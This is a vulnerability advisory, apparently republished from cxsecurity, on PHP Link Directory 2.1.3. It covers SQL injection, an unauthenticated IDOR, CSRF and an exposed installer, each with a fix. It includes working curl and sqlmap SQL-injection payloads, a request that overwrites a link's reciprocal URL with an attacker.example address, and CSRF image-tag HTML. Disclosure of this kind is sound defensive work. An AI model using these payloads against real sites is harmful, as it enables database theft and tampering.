PHP Link Directory (phpLD) 2.1.3 - SQL Injection, IDOR, CSRF
PHP Link Directory (phpLD) 2.1.3 - SQL Injection, IDOR, CSRFTitle: PHP Link Directory ( 2026-6-15 15:30:21 Author: cxsecurity.com(查看原文) 阅读量:1 收藏

PHP Link Directory (phpLD) 2.1.3 - SQL Injection, IDOR, CSRF

Title: PHP Link Directory (phpLD) 2.1.x Multiple Vulnerabilities Product: PHP Link Directory (phpLD) Vendor: NetCreated, Inc. / phplinkdirectory.com (EOL) Version: 2.1.3 (also affects 2.1.x branch; tested on 2.1.3) Type: SQL Injection, IDOR, CSRF, Information Disclosure Risk: High (authenticated SQLi) / Medium (unauthenticated IDOR) Discovered: 2026-06-14 Advisory: PHPLD-2026-001 ================================================================================ SUMMARY ================================================================================ PHP Link Directory 2.1.3 contains several security issues: [1] SQL Injection in admin/dir_validate.php (POST CATEGORY_ID) [2] SQL Injection in admin panel via ORDER BY (GET sort -> session) [3] Insecure Direct Object Reference in add_reciprocal.php (no auth) [4] CSRF on admin state-changing GET actions (dir_links_edit.php) [5] Exposed install/ directory after deployment (configuration risk) Public-facing search (index.php?q=) and submit.php CAPTCHA are NOT SQL injectable in default code (parameters are escaped). Do not report those as SQLi without a separate bypass. ================================================================================ TEST ENVIRONMENT (local PoC only) ================================================================================ Software : phpLD 2.1.3 PHP : 5.x / 7.x (legacy code) DBMS : MySQL / MariaDB URL : http://127.0.0.1/phpld/ <-- change to your local path Prerequisites: - Completed /install/ setup - At least one admin user - At least one active link (STATUS=2) for IDOR test - At least one link in a category for dir_validate test ================================================================================ [1] SQL INJECTION - admin/dir_validate.php (CATEGORY_ID) ================================================================================ File : admin/dir_validate.php (line ~122) Auth : Required (admin or editor session) Method : POST Param : CATEGORY_ID Vulnerable code: if ($_REQUEST['CATEGORY_ID'] > 0) { $where = " WHERE CATEGORY_ID = '".$_REQUEST['CATEGORY_ID']."'"; } $rs = $db->Execute("SELECT ... FROM PLD_LINK {$where}"); CATEGORY_ID is concatenated into SQL without escaping. --- PoC: Time-based blind (manual curl) --- Step 1 - Authenticate and save session cookie: curl -c cookies.txt -X POST \ "http://127.0.0.1/phpld/admin/login.php" \ -d "user=admin&pass=admin&submit=Login" -L Step 2 - Trigger SLEEP (expect ~5 second delay): curl -b cookies.txt -X POST \ "http://127.0.0.1/phpld/admin/dir_validate.php" \ -d "submit=Start&VALIDATE_LINKS=1&VALIDATE_RECPR=0&CATEGORY_ID=1'+AND+SLEEP(5)--+-" Step 3 - Boolean comparison (all links vs none): CATEGORY_ID=1' OR '1'='1 CATEGORY_ID=1' AND '1'='2 --- PoC: sqlmap --- sqlmap -u "http://127.0.0.1/phpld/admin/dir_validate.php" \ --auth-url="http://127.0.0.1/phpld/admin/login.php" \ --auth-data="user=admin&pass=admin&submit=Login" \ --auth-type=POST \ --data="submit=Start&VALIDATE_LINKS=1&VALIDATE_RECPR=0&CATEGORY_ID=1" \ -p CATEGORY_ID \ --dbms=mysql --prefix="1'" --suffix="-- -" \ --batch --random-agent --time-sec=5 Impact: Full database read/write as DB user (admin credentials dump, link/category tampering). Fix: Use $db->qstr($_REQUEST['CATEGORY_ID']) or intval() whitelist. ================================================================================ [2] SQL INJECTION - admin ORDER BY (sort parameter) ================================================================================ File : admin/init.php (line ~216), used by multiple admin/*.php Auth : Required Method : GET (stored in session, injected on next page load) Param : sort Vulnerable flow: $_SESSION['sort'][SCRIPT_NAME]['field'] = $_REQUEST['sort']; ... $orderBy = ' ORDER BY '. SORT_FIELD.' '.SORT_ORDER; Affected examples: admin/conf_users.php admin/conf_payment.php admin/email_message.php admin/email_sent_view.php --- PoC: Two-step ORDER BY time-based (MySQL) --- Step 1 - Login (see above), save cookies.txt Step 2 - Poison session via sort parameter: curl -b cookies.txt \ "http://127.0.0.1/phpld/admin/conf_users.php?sort=LOGIN,(SELECT+*+FROM+(SELECT+SLEEP(5))a)" Step 3 - Load page to execute ORDER BY: curl -b cookies.txt \ "http://127.0.0.1/phpld/admin/conf_users.php" (Expect ~5s response on step 3 if injectable.) --- PoC: sqlmap (may require session handling) --- curl -b cookies.txt \ "http://127.0.0.1/phpld/admin/conf_users.php?sort=LOGIN" sqlmap -u "http://127.0.0.1/phpld/admin/conf_users.php" \ --load-cookies=cookies.txt \ -p sort --technique=T --dbms=mysql --batch Fix: Whitelist allowed column names before storing in session. ================================================================================ [3] IDOR - add_reciprocal.php (unauthenticated link update) ================================================================================ File : add_reciprocal.php (line ~71-94) Auth : NOT required Method : GET + POST Param : id, RECPR_URL Any user who knows/guesses a valid link ID with empty RECPR_URL can update that link record without proving ownership. Vulnerable code: if ($data = $db->GetRow("SELECT * FROM PLD_LINK WHERE ID = ".$db->qstr($id))) { $data['RECPR_URL'] = $_REQUEST['RECPR_URL']; ... $db->Replace($tables['link']['name'], $data, 'ID', true); } --- PoC: Unauthenticated reciprocal link overwrite --- Replace LINK_ID with an existing link ID where RECPR_URL IS NULL. # Verify form is shown (link exists, recpr empty): curl -s "http://127.0.0.1/phpld/add_reciprocal.php?id=LINK_ID" | \ grep -i "Reciprocal Link URL" # Overwrite reciprocal URL (no cookie, no login): curl -X POST "http://127.0.0.1/phpld/add_reciprocal.php?id=LINK_ID" \ -d "RECPR_URL=http://attacker.example/reciprocal.html&submit=Add" # Verify in DB: SELECT ID, URL, RECPR_URL FROM PLD_LINK WHERE ID=LINK_ID; Impact: Unauthorized modification of directory link metadata; SEO / reciprocal-link integrity compromise. Fix: Require signed token or owner email verification; bind update to submitter session/secret. ================================================================================ [4] CSRF - admin link management via GET ================================================================================ File : admin/dir_links_edit.php Auth : Admin session (victim must be logged in) Method : GET Param : action Examples (victim admin must visit attacker page while logged in): /admin/dir_links_edit.php?action=D:123 (delete link 123) /admin/dir_links_edit.php?action=A:123 (approve link 123) /admin/dir_links_edit.php?action=S:123:2 (set status) PoC HTML (host on attacker server, victim opens while admin): <html><body> <img src="http://127.0.0.1/phpld/admin/dir_links_edit.php?action=D=1" /> <img src="http://127.0.0.1/phpld/admin/dir_links_edit.php?action=A:1" /> </body></html> Note: Use action format with colon: action=A:1 not action=D=1 Fix: CSRF tokens; use POST for state changes; SameSite cookies. ================================================================================ [5] INFORMATION DISCLOSURE - install/ left accessible ================================================================================ If install/ is not removed after setup, installer remains reachable and may allow database reconfiguration depending on server state. PoC: curl -I "http://127.0.0.1/phpld/install/index.php" Expected after install: 404 or 403. If 200 OK -> misconfiguration. Fix: Delete install/ directory after installation. ================================================================================ REMEDIATION (vendor / administrator) ================================================================================ 1. Remove install/ after setup 2. Patch dir_validate.php - escape CATEGORY_ID 3. Whitelist sort columns in admin/init.php 4. Add CSRF tokens to all admin mutating actions 5. Add ownership check to add_reciprocal.php 6. Upgrade to supported software; phpLD 2.1.x is end-of-life 7. Do not expose admin panel to internet without IP restriction / 2FA ================================================================================ TIMELINE ================================================================================ 2026-06-14 Discovery and local verification 2026-xx-xx Vendor notification (if applicable) 2026-xx-xx Public disclosure ================================================================================ CREDIT ================================================================================ Researcher: [Xasthur] Reference: PHPLD-2026-001 ================================================================================ LEGAL ================================================================================ PoC is intended for authorized local testing and responsible disclosure only. Unauthorized access to systems you do not own is illegal. ================================================================================



 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


Copyright 2026, cxsecurity.com

文章来源: https://cxsecurity.com/issue/WLB-2026060010
如有侵权请联系:admin#unsafe.sh